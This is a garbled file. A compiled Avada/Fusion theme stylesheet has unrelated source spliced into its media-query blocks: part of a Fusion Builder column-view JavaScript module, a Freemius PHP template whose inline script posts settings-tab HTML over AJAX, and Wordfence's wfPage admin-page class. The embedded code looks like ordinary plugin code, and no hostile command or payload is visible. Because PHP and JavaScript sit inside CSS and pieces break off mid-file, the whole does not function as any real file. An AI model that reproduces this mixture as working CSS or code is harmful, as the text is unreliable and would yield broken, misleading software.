					if ( ( 'on' === fusionAppConfig.removeEmptyAttributes && '' !== value ) || 'off' === fusionAppConfig.removeEmptyAttributes ) {
						shortcode += ' ' + name + '="' + value + '"';
					}
				} );

				shortcode += ']';

				// Find elements inside this column
				this.$el.find( '.fusion-builder-live-element:not(.fusion-builder-column-inner .fusion-builder-live-element), .fusion-builder-nested-element' ).each( function() {
					var $thisRowInner;

					// Find standard elements
					if ( jQuery( this ).hasClass( 'fusion-builder-live-element' ) ) {
						shortcode += FusionPageBuilderApp.generateElementShortcode( jQuery( this ), false );

					// Find inner rows
					} else {
						$thisRowInner = FusionPageBuilderViewManager.getView( jQuery( this ).data( 'cid' ) );
						if ( 'undefined' !== typeof $thisRowInner ) {
							shortcode += $thisRowInner.getInnerRowContent();
						}

					}
				} );

				shortcode += '[/fusion_builder_column]';

				return shortcode;
			},

			/**
			 * Removes a column.
			 *
			 * @since 2.0.0
			 * @param {Object} event - The event triggering the column removal.
			 * @param {bool} forceManually - Force manually, even if it's not an event, to update history and trigger content changes.
			 * @return {void}
			 */
			removeColumn: function( event, forceManually ) {
				var elements,
					rowView,
					parentCID = this.model.get( 'parent' );

				if ( event ) {
					event.preventDefault();
				}

				elements = FusionPageBuilderViewManager.getChildViews( this.model.get( 'cid' ) );

				_.each( elements, function( element ) {
					if ( 'fusion_builder_row' === element.model.get( 'type' ) || 'fusion_builder_row_inner' === element.model.get( 'type' ) ) {
						element.removeRow();
					} else {
						element.removeElement();
					}
				} );

				FusionPageBuilderViewManager.removeView( this.model.get( 'cid' ) );

				this._equalHeights( parentCID );

				FusionEvents.trigger( 'fusion-element-removed', this.model.get( 'cid' ) );

				this.model.destroy();

				this.remove();

				// If the column is deleted manually
				if ( event || forceManually ) {
					// Update preview for spacing.
					rowView = FusionPageBuilderViewManager.getView( parentCID );
					rowView.setRowData();

					FusionEvents.trigger( 'fusion-history-save-step', fusionBuilderText.deleted + ' ' + fusionBuilderText.column );

					FusionEvents.trigger( 'fusion-content-changed' );

					rowView.$el.find( '.fusion-builder-module-controls-container a' ).trigger( 'mouseleave' );
				}
			},

			/**
			 * Adds a child view.
			 *
			 * @since 2.0.0
			 * @param {Object} element - The element.
			 * @return {void}
			 */
			addChildView: function( element ) {

				var view,
					viewSettings = {
						model: element,
						collection: FusionPageBuilderElements,
						attributes: {
							'data-cid': element.get( 'cid' )
						}
					},
					containerSuffix = ':not(.fusion_builder_row_inner .fusion-builder-column-content)';

				if ( 'undefined' !== typeof element.get( 'multi' ) && 'multi_element_parent' === element.get( 'multi' ) ) {

					if ( 'undefined' !== typeof FusionPageBuilder[ element.get( 'element_type' ) ] ) {
						view = new FusionPageBuilder[ element.get( 'element_type' ) ]( viewSettings );
					} else {
						view = new FusionPageBuilder.ParentElementView( viewSettings );
					}

				} else if ( 'undefined' !== typeof FusionPageBuilder[ element.get( 'element_type' ) ] ) {
					view = new FusionPageBuilder[ element.get( 'element_type' ) ]( viewSettings );
				} else if ( 'fusion_builder_row_inner' === element.get( 'element_type' ) ) {
					view = new FusionPageBuilder.InnerRowView( viewSettings );
				} else {
					view = new FusionPageBuilder.ElementView( viewSettings );
				}

				// Add new view to manager.
				FusionPageBuilderViewManager.addView( element.get( 'cid' ), view );

				if (  'undefined' !== typeof this.model && 'fusion_builder_column_inner' === this.model.get( 'type' ) ) {
					containerSuffix = '';
				}

				if ( ! _.isUndefined( element.get( 'targetElement' ) ) && 'undefined' === typeof element.get( 'from' ) ) {
					if ( 'undefined' === typeof element.get( 'targetElementPosition' ) || 'after' === element.get( 'targetElementPosition' ) ) {
						element.get( 'targetElement' ).after( view.render().el );
					} else {
						element.get( 'targetElement' ).before( view.render().el );
					}
				} else if ( 'undefined' === typeof element.get( 'targetElementPosition' ) || 'end' === element.get( 'targetElementPosition' ) ) {
					if ( 'fusion_widget' === view.model.get( 'element_type' ) ) {
						// eslint-disable-next-line vars-on-top
						var renderedView = view.render();
						renderedView.$el.find( 'script' ).remove();
						this.$el.find( '.fusion-builder-column-content' + containerSuffix ).append( renderedView.el );
					} else {
						this.$el.find( '.fusion-builder-column-content' + containerSuffix ).append( view.render().el );
					}
				} else {
					this.$el.find( '.fusion-builder-column-content' + containerSuffix ).find( '.fusion-builder-empty-column' ).first().after( view.render().el );
				}

				// Check if we should open the settings or not.
				if ( 'off' !== window.FusionApp.preferencesData.open_settings && 'undefined' !== typeof element.get( 'added' ) ) {
					if ( 'fusion_builder_row_inner' === element.get( 'type' ) ) {
						view.editRow();
					} else {
						view.settings();
					}
				}
			},

			/**
			 * Get the save label.
			 *
			 * @since 2.0.0
			 * @return {string}
			 */
			getSaveLabel: function() {
				return fusionBuilderText.save_column;
			},

			/**
			 * Returns the 'columns' string.
			 *
			 * @since 2.0.0
			 * @return {string}
			 */
			getCategory: function() {
				return 'columns';
			},

			/**
			 * Column spacing dimensions version.
			 *
			 * @since 2.0.0
			 * @return {void}
			 */
			fallbackColumnSpacing: function( $placeholder, allNo ) {
				var columnSize      = '100%',
					fullcolumnSize  = columnSize,
					existingSpacing = '0%',
					columnWidth     = this.model.attributes.params.type;

				if ( 'yes' === this.model.attributes.params.spacing ) {
					existingSpacing = '4%';
				}

				columnWidth = this.model.attributes.params.type;

				switch ( columnWidth ) {
				case '1_1':
					columnSize     = '100%';
					fullcolumnSize = '100%';
					break;
				case '1_4':
					columnSize     = '22%';
					fullcolumnSize = '25%';
					break;
				case '3_4':
					columnSize     = '74%';
					fullcolumnSize = '75%';
					break;
				case '1_2':
					columnSize     = '48%';
					fullcolumnSize = '50%';
					break;
				case '1_3':
					columnSize     = '30.6666%';
					fullcolumnSize = '33.3333%';
					break;
				case '2_3':
					columnSize     = '65.3333%';
					fullcolumnSize = '66.6666%';
					break;
				case '1_5':
					columnSize     = '16.8%';
					fullcolumnSize = '20%';
					break;
				case '2_5':
					columnSize     = '37.6%';
					fullcolumnSize = '40%';
					break;
				case '3_5':
					columnSize     = '58.4%';
					fullcolumnSize = '60%';
					break;
				case '4_5':
					columnSize     = '79.2%';
					fullcolumnSize = '80%';
					break;
				case '5_6':
					columnSize     = '82.6666%';
					fullcolumnSize = '83.3333%';
					break;
				case '1_6':
					columnSize     = '13.3333%';
					fullcolumnSize = '16.6666%';
					break;
				}

				if ( '4%' !== existingSpacing && ( ! this.model.attributes.params.last || allNo ) ) {
					columnSize = fullcolumnSize;
				}

				this.$el.css( 'width', columnSize );
				$placeholder.css( 'width', columnSize );
				$placeholder.css( 'margin-right', existingSpacing );
				this.$el.css( 'margin-right', existingSpacing );
			},

			/**
			 * Checks if column layout type is block.
			 *
			 * @since 3.0.0
			 * @return {Boolean}
			 */
			isBlockLayout: function() {
				return this.values && 'block' === this.values.content_layout;
			}

		} );
	} );
}( jQuery ) );
}@media only screen and (max-width: 800px){<?php
	/**
	 * @package     Freemius
	 * @copyright   Copyright (c) 2015, Freemius, Inc.
	 * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
	 * @since       1.2.2.7
	 */

	if ( ! defined( 'ABSPATH' ) ) {
		exit;
	}

	/**
	 * @var array    $VARS
	 * @var Freemius $fs
	 */
	$fs   = freemius( $VARS['id'] );
	$slug = $fs->get_slug();
?>

	(function ($) {
		$(document).ready(function () {
		    var $wrap = $( '.wrap' );
		    if ( 0 === $wrap.length ) {
		        $wrap = $( '<div class="wrap">' );
		        $wrap.insertBefore( $( '#wpbody-content .clear' ) );
            }

            $wrap = $wrap.clone().wrap( '<div>' ).parent();

		    var
			    settingHtml   = $wrap.html(),
			    tabsPosition  = settingHtml.indexOf('nav-tab-wrapper'),
			    aboveTabsHtml = '';

			if (-1 < tabsPosition) {
				// Find the tabs HTML beginning exact position.
				while ('<' !== settingHtml[tabsPosition] && 0 < tabsPosition) {
					tabsPosition--;
				}

				if (-1 < tabsPosition) {
					aboveTabsHtml = settingHtml.substr(0, tabsPosition);

					var tabsHtml = $('.wrap .nav-tab-wrapper').clone().wrap('<div>').parent().html(),
						ajaxUrl  = <?php echo Freemius::ajax_url() ?>;

					$.ajax({
							url      : ajaxUrl + (ajaxUrl.includes('?') ? '&' : '?') + $.param({
							action   : '<?php echo $fs->get_ajax_action( 'store_tabs' ) ?>',
							security : '<?php echo $fs->get_ajax_security( 'store_tabs' ) ?>',
							module_id: '<?php echo $fs->get_id() ?>'
						}),
						method     : 'POST',
						data       : aboveTabsHtml + "\n" + tabsHtml + '</div>',
						dataType   : 'html',
						// Avoid escaping the HTML.
						processData: false
					});
				}
			}
		});
	})(jQuery);
</script>}@media only screen and (max-width: 640px){<?php

class wfPage {
	const PAGE_DASHBOARD = 'dashboard';
	const PAGE_DASHBOARD_OPTIONS = 'dashboard-options';
	const PAGE_FIREWALL = 'firewall';
	const PAGE_FIREWALL_OPTIONS = 'firewall-options';
	const PAGE_BLOCKING = 'blocking';
	const PAGE_BLOCKING_OPTIONS = 'blocking-options';
	const PAGE_SCAN = 'scan';
	const PAGE_SCAN_OPTIONS = 'scan-options';
	const PAGE_TOOLS_2FA = 'tools-2fa';
	const PAGE_TOOLS_LIVE_TRAFFIC = 'tools-2fa';
	const PAGE_TOOLS_WHOIS = 'tools-whois';
	const PAGE_TOOLS_IMPORT_EXPORT = 'tools-import-export';
	const PAGE_TOOLS_DIAGNOSTICS = 'tools-diagnostics';
	const PAGE_SUPPORT = 'support';
	
	/** @var string */
	private $_identifier;
	
	/**
	 * Provides validation for a user-provided page identifier.
	 * 
	 * @param string $identifier
	 * @return bool
	 */
	public static function isValidPage($identifier) {
		switch ($identifier) {
			case self::PAGE_DASHBOARD:
			case self::PAGE_DASHBOARD_OPTIONS:
			case self::PAGE_FIREWALL:
			case self::PAGE_FIREWALL_OPTIONS:
			case self::PAGE_BLOCKING:
			case self::PAGE_BLOCKING_OPTIONS:
			case self::PAGE_SCAN:
			case self::PAGE_SCAN_OPTIONS:
			case self::PAGE_TOOLS_2FA:
			case self::PAGE_TOOLS_LIVE_TRAFFIC:
			case self::PAGE_TOOLS_IMPORT_EXPORT:
			case self::PAGE_TOOLS_WHOIS:
			case self::PAGE_TOOLS_DIAGNOSTICS:
			case self::PAGE_SUPPORT:
				return true;
		}
		return false;
	}
	
	/**
	 * Convenience function for returning the user-displayable label for the given page.
	 * 
	 * @param string $identifier
	 * @return bool|string
	 */
	public static function pageLabel($identifier) {
		$page = new wfPage($identifier);
		return $page->label();
	}
	
	/**
	 * Convenience function for returning the canonical URL for the given page.
	 * 
	 * @param string $identifier
	 * @param string|bool $source The source page identifier to append to the URL if wanted.
	 * @return string
	 */
	public static function pageURL($identifier, $source = false) {
		$page = new wfPage($identifier);
		return $page->url($source);
	}
	
	public function __construct($identifier) {
		$this->_identifier = $identifier;
	}
	
	public function __get($key) {
		switch ($key) {
			case 'identifier':
				return $this->_identifier;
		}
		
		throw new OutOfBoundsException("{$key} is not a valid property");
	}
	
	public function __isset($key) {
		switch ($key) {
			case 'identifier':
				return true;
		}
		return false;
	}
	
	/**
	 * Returns the user-displayable label for the page.
	 * 
	 * @return bool|string
	 */
	public function label() {
		switch ($this->identifier) {
			case self::PAGE_DASHBOARD:
				return __('Dashboard', 'wordfence');
			case self::PAGE_DASHBOARD_OPTIONS:
				return __('Global Options', 'wordfence');
			case self::PAGE_FIREWALL:
				return __('Firewall', 'wordfence');
			case self::PAGE_FIREWALL_OPTIONS:
				return __('Firewall Options', 'wordfence');
			case self::PAGE_BLOCKING:
				return __('Blocking', 'wordfence');
			case self::PAGE_BLOCKING_OPTIONS:
				return __('Blocking Options', 'wordfence');
			case self::PAGE_SCAN:
				return __('Scan', 'wordfence');
			case self::PAGE_SCAN_OPTIONS:
				return __('Scan Options', 'wordfence');
			case self::PAGE_TOOLS_2FA:
				return __('Two-Factor Authentication', 'wordfence');
			case self::PAGE_TOOLS_LIVE_TRAFFIC:
				return __('Live Traffic', 'wordfence');
			case self::PAGE_TOOLS_IMPORT_EXPORT:
				return __('Import/Export Options', 'wordfence');
			case self::PAGE_TOOLS_WHOIS:
				return __('Whois Lookup', 'wordfence');
			case self::PAGE_TOOLS_DIAGNOSTICS:
				return __('Diagnostics', 'wordfence');
			case self::PAGE_SUPPORT:
				return __('Support', 'wordfence');
		}
		
		return false;
	}
	
	/**
	 * Returns the canonical URL for the page.
	 * 
	 * @param string|bool $source The source page identifier to append to the URL if wanted.
	 * @return string
	 */
	public function url($source = false) {
		$page = '';
		$subpage = '';
		$hash = '';
		switch ($this->identifier) {
			case self::PAGE_DASHBOARD:
				$page = 'Wordfence';
				break;
			case self::PAGE_DASHBOARD_OPTIONS:
				$page = 'Wordfence';
				$subpage = 'global_options';
				break;
			case self::PAGE_FIREWALL:
				$page = 'WordfenceWAF';
				break;
			case self::PAGE_FIREWALL_OPTIONS:
				$page = 'WordfenceWAF';
				$subpage = 'waf_options';
				break;
			case self::PAGE_BLOCKING:
				$page = 'WordfenceWAF';
				$hash = '#top#blocking';
				break;
			case self::PAGE_BLOCKING_OPTIONS:
				$page = 'WordfenceWAF';
				$subpage = 'blocking_options';
				break;
			case self::PAGE_SCAN:
				$page = 'WordfenceScan';
				break;
			case self::PAGE_SCAN_OPTIONS:
				$page = 'WordfenceScan';
				$subpage = 'scan_options';
				break;
			case self::PAGE_TOOLS_2FA:
				$page = 'WordfenceTools';
				$subpage = 'twofactor';
				break;
			case self::PAGE_TOOLS_LIVE_TRAFFIC:
				$page = 'WordfenceTools';
				$subpage = 'livetraffic';
				break;
			case self::PAGE_TOOLS_IMPORT_EXPORT:
				$page = 'WordfenceTools';
				$subpage = 'importexport';
				break;
			case self::PAGE_TOOLS_WHOIS:
				$page = 'WordfenceTools';
				$subpage = 'whois';
				break;
			case self::PAGE_TOOLS_DIAGNOSTICS:
				$page = 'WordfenceTools';
				$subpage = 'diagnostics';
				break;
			case self::PAGE_SUPPORT:
				$page = 'WordfenceSupport';
				break;
		}
		
		$baseURL = 'admin.php?';
		$baseURL .= 'page=' . rawurlencode($page);
		if (!empty($subpage)) { $baseURL .= '&subpage=' . rawurlencode($subpage); }
		if (self::isValidPage($source))  { $baseURL .= '&source=' . rawurlencode($source); }
		if (!empty($hash)) { $baseURL .= $this->_hashURLEncode($hash); }
		if (function_exists('network_admin_url') && is_multisite()) {
			return network_admin_url($baseURL);
		}
		
		 return admin_url($baseURL);
	}
	
	/**
	 * Splits a URI hash component and URL-encodes its members.
	 * 
	 * @param string $hash
	 * @return string
	 */
	private function _hashURLEncode($hash) {
		$components = explode('#', $hash);
		foreach ($components as &$c) {
			$c = rawurlencode($c);
		}
		return implode('#', $components);
	}
	
	/**
	 * Returns an ordered array of the pages required to reach this page, this page being the last entry in the array.
	 * 
	 * @return array
	 */
	public function breadcrumbs() {
		switch ($this->identifier) {
			case self::PAGE_DASHBOARD:
				return array($this);
			case self::PAGE_DASHBOARD_OPTIONS:
				return array(new wfPage(wfPage::PAGE_DASHBOARD), $this);
			case self::PAGE_FIREWALL:
				return array($this);
			case self::PAGE_FIREWALL_OPTIONS:
				return array(new wfPage(wfPage::PAGE_FIREWALL), $this);
			case self::PAGE_BLOCKING:
				return array($this);
			case self::PAGE_BLOCKING_OPTIONS:
				return array(new wfPage(wfPage::PAGE_BLOCKING), $this);
			case self::PAGE_SCAN:
				return array($this);
			case self::PAGE_SCAN_OPTIONS:
				return array(new wfPage(wfPage::PAGE_SCAN), $this);
			case self::PAGE_TOOLS_2FA:
				return array($this);
			case self::PAGE_TOOLS_LIVE_TRAFFIC:
				return array($this);
			case self::PAGE_TOOLS_IMPORT_EXPORT:
				return array($this);
			case self::PAGE_TOOLS_WHOIS:
				return array($this);
			case self::PAGE_TOOLS_DIAGNOSTICS:
				return array($this);
			case self::PAGE_SUPPORT:
				return array($this);
		}
		
		return array();
	}
}
}#posts-container.fusion-blog-layout-grid{margin:-20px -20px 0 -20px;}#posts-container.fusion-blog-layout-grid .fusion-post-grid{padding:20px;}.fusion-builder-row.fusion-row{max-width:var(--site_width);}.fusion-content-boxes .link-type-button-bar .fusion-read-more{background:var(--awb-color4);color:var(--awb-color1);}.fusion-content-boxes .link-type-button-bar .fusion-read-more:after,.fusion-content-boxes .link-type-button-bar .fusion-read-more:before{color:var(--awb-color1);}.fusion-content-boxes .link-type-button-bar .fusion-read-more:hover,.fusion-content-boxes .link-type-button-bar.link-area-box:hover .fusion-read-more{background:hsla(var(--awb-color4-h),var(--awb-color4-s),calc(var(--awb-color4-l) - 10%),var(--awb-color4-a));color:var(--awb-color1)!important;}.fusion-content-boxes .link-type-button-bar .fusion-read-more:hover:after,.fusion-content-boxes .link-type-button-bar .fusion-read-more:hover:before,.fusion-content-boxes .link-type-button-bar.link-area-box:hover .fusion-read-more:after,.fusion-content-boxes .link-type-button-bar.link-area-box:hover .fusion-read-more:before{color:var(--awb-color1)!important;}.full-boxed-pricing.fusion-pricing-table .panel-heading h3{color:var(--awb-color8);}.sep-boxed-pricing .panel-heading h3{color:var(--awb-color8);}.fusion-separator.sep-dashed,.fusion-separator.sep-dotted,.fusion-separator.sep-double,.fusion-separator.sep-single{border-color:var(--awb-color3);}.fusion-body .fusion-content-sep:not([class*="sep-"]){display:none;}.fusion-reading-box-container .fusion-desktop-button{width:auto;}.fusion-reading-box-container .reading-box{background-color:var(--awb-color2);}.fusion-portfolio.fusion-portfolio-boxed .fusion-portfolio-content-wrapper{border-color:hsla(var(--awb-color2-h),calc( var(--awb-color2-s) + 2% ),var(--awb-color2-l),var(--awb-color2-a));}.fusion-filters .fusion-filter.fusion-active a{color:var(--primary_color);color:var(--primary_color);border-color:var(--primary_color);border-color:var(--primary_color);}.fusion-faq-shortcode .fusion-accordian .panel-title a .fa-fusion-box{background-color:var(--awb-color7);}.fusion-faq-shortcode .fusion-accordian .panel-title .active .fa-fusion-box{background-color:var(--awb-color4);}.fusion-faq-shortcode .fusion-accordian .panel-title a:hover .fa-fusion-box{background-color:var(--awb-color4) !important;}.fusion-faq-shortcode .fusion-accordian .fusion-toggle-boxed-mode:hover .panel-title a,.fusion-faq-shortcode .fusion-accordian .panel-title a:hover{color:var(--awb-color4);}@media only screen and (max-width: 800px){.fusion-content-boxes.content-boxes-clean-horizontal .content-box-column,.fusion-content-boxes.content-boxes-clean-vertical .content-box-column{border-right-width:1px;}.fusion-content-boxes .content-box-shortcode-timeline{display:none;}.fusion-content-boxes.content-boxes-icon-boxed .content-wrapper-boxed{padding-bottom:20px;padding-left:3%;padding-right:3%;}.fusion-content-boxes.content-boxes-icon-boxed .content-box-column,.fusion-content-boxes.content-boxes-icon-on-top .content-box-column{margin-bottom:55px;}.fusion-countdown .fusion-countdown-heading-wrapper,.fusion-countdown .fusion-countdown-link-wrapper,.fusion-countdown .fusion-countdown-wrapper{display:block;}.fusion-countdown .fusion-countdown-heading-wrapper{text-align:center;}.fusion-countdown.fusion-countdown-has-heading .fusion-countdown-counter-wrapper{margin-top:1em;}.fusion-countdown.fusion-countdown-has-link .fusion-countdown-counter-wrapper{margin-bottom:1em;}.fusion-countdown .fusion-countdown-link-wrapper{text-align:center;}.fusion-counters-box .fusion-counter-box{margin-bottom:20px;padding:0 15px;}.fusion-counters-box .fusion-counter-box:last-child{margin-bottom:0;}.fusion-google-map{width:100% !important;}.fusion-progressbar{margin-bottom:10px !important;}.fusion-reading-box-container .fusion-reading-box-flex{display:block;}.fusion-reading-box-container .fusion-desktop-button{display:none;}.fusion-reading-box-container .fusion-mobile-button{display:block;}.fusion-reading-box-container .fusion-mobile-button.continue-center{display:block;}.fusion-login-box.fusion-login-field-layout-floated .fusion-login-fields,.fusion-login-box.fusion-login-field-layout-floated.fusion-login-align-textflow.fusion-login-box-login .fusion-login-additional-content,.fusion-login-box.fusion-login-field-layout-floated.fusion-login-align-textflow.fusion-login-box-register .fusion-login-additional-content{display:block;}.fusion-login-box.fusion-login-field-layout-floated .fusion-login-links{margin:0 -10px;}.fusion-login-box.fusion-login-field-layout-floated.fusion-login-align-textflow.fusion-login-box-register .fusion-login-registration-confirm{margin:0 0 20px 0;}.fusion-login-box.fusion-login-field-layout-floated.fusion-login-align-textflow.fusion-login-box-login .fusion-login-submit-wrapper{margin-bottom:20px;}.fusion-post-cards .fusion-filters{display:block !important;}.fusion-widget.fusion-widget-mobile-align-left{text-align:left;}.fusion-widget.fusion-widget-mobile-align-right{text-align:right;}.fusion-widget.fusion-widget-mobile-align-center{text-align:center;}.fusion-filters{border-bottom:0;border-bottom:0;}.fusion-filter{float:none;float:none;margin:0;margin:0;border-bottom:1px solid var(--awb-color3);border-bottom:1px solid var(--awb-color3);}}@media only screen and (max-width: 640px){.fusion-content-boxes.content-boxes-icon-boxed .content-wrapper-boxed{min-height:inherit !important;padding-bottom:20px;padding-left:3% !important;padding-right:3% !important;}.fusion-content-boxes.content-boxes-icon-boxed .content-box-column,.fusion-content-boxes.content-boxes-icon-on-top .content-box-column{margin-bottom:55px;}.fusion-content-boxes.content-boxes-icon-boxed .content-box-column .heading h1{margin-top:-5px;}.fusion-content-boxes.content-boxes-icon-boxed .content-box-column .heading h2{margin-top:-5px;}.fusion-content-boxes.content-boxes-icon-boxed .content-box-column .heading h3{margin-top:-5px;}.fusion-content-boxes.content-boxes-icon-boxed .content-box-column .heading h4{margin-top:-5px;}.fusion-content-boxes.content-boxes-icon-boxed .content-box-column .heading h5{margin-top:-5px;}.fusion-content-boxes.content-boxes-icon-boxed .content-box-column .heading h6{margin-top:-5px;}.fusion-content-boxes.content-boxes-icon-boxed .content-box-column .more{margin-top:12px;}.fusion-content-boxes.content-boxes-icon-boxed .col{box-sizing:border-box;}.fusion-counters-circle .counter-circle-wrapper{display:block;margin-right:auto;margin-left:auto;}.full-boxed-pricing .column,.sep-boxed-pricing .column{float:none;margin-bottom:10px;margin-left:0;width:100%;}.fusion-progressbar{margin-bottom:10px !important;}}@media only screen and (min-device-width: 320px) and (max-device-width: 640px){.fusion-content-boxes.content-boxes-icon-boxed .content-wrapper-boxed{min-height:inherit !important;padding-bottom:20px;padding-left:3% !important;padding-right:3% !important;}.fusion-content-boxes.content-boxes-icon-boxed .content-box-column,.fusion-content-boxes.content-boxes-icon-on-top .content-box-column{margin-bottom:55px;}.fusion-google-map{width:100% !important;}#wrapper .sep-boxed-pricing .panel-wrapper{padding:0;}.full-boxed-pricing .column,.sep-boxed-pricing .column{float:none;margin-bottom:10px;margin-left:0;width:100%;}.fusion-progressbar{margin-bottom:10px !important;}}@media only screen and (min-device-width: 768px) and (max-device-width: 1024px) and (orientation: portrait){.fusion-content-boxes.content-boxes-icon-boxed .content-wrapper-boxed{padding-bottom:20px;padding-left:3%;padding-right:3%;}.fusion-content-boxes.content-boxes-icon-boxed .content-box-column,.fusion-content-boxes.content-boxes-icon-on-top .content-box-column{margin-bottom:55px;}.fusion-counters-box .fusion-counter-box{margin-bottom:20px;padding:0 15px;}.fusion-counters-box .fusion-counter-box:last-child{margin-bottom:0;}.fusion-google-map{width:100% !important;}#wrapper .sep-boxed-pricing .panel-wrapper{padding:0;}.full-boxed-pricing .column,.sep-boxed-pricing .column{float:none;margin-bottom:10px;margin-left:0;width:100%;}.fusion-progressbar{margin-bottom:10px !important;}.fusion-reading-box-container .fusion-mobile-button{display:none;float:none;}.fusion-reading-box-container .continue{display:block;}}@media only screen and (min-width: 800px){.sep-boxed-pricing .panel-wrapper{padding:0 12px;margin:0;}.fusion-pricing-table .standout .panel-container{z-index:1000;}.fusion-pricing-table .standout .panel-footer, .fusion-pricing-table .standout .panel-heading{padding:20px;}.full-boxed-pricing{padding:0 9px;background-color:#F8F8F8;}.full-boxed-pricing .panel-container{padding:9px 0;}.full-boxed-pricing .panel-wrapper:last-child .fusion-panel{border-right:1px solid #E5E4E3;}.full-boxed-pricing .fusion-panel{border-right:none;}.full-boxed-pricing .standout .panel-container{position:relative;box-sizing:content-box;margin:-10px -9px;padding:9px;box-shadow:0 0 6px 6px rgba(0, 0, 0, 0.08);background-color:#F8F8F8;}.full-boxed-pricing .standout .fusion-panel{border-right:1px solid #E5E4E3;}.full-boxed-pricing .standout .panel-heading h3{color:#65bc7b;}.sep-boxed-pricing{margin:0 -15px 20px;}.sep-boxed-pricing .standout .panel-container{margin:-10px;box-shadow:0 0 15px 5px rgba(0, 0, 0, 0.16);}.fusion-reading-box-container .fusion-desktop-button{display:block;}.fusion-reading-box-container .fusion-mobile-button{display:none;}.fusion-reading-box-container .continue-center{display:inline-block;}.fusion-reading-box-container .reading-box.reading-box-center{text-align:center;}.fusion-reading-box-container .reading-box.reading-box-right{text-align:right;}}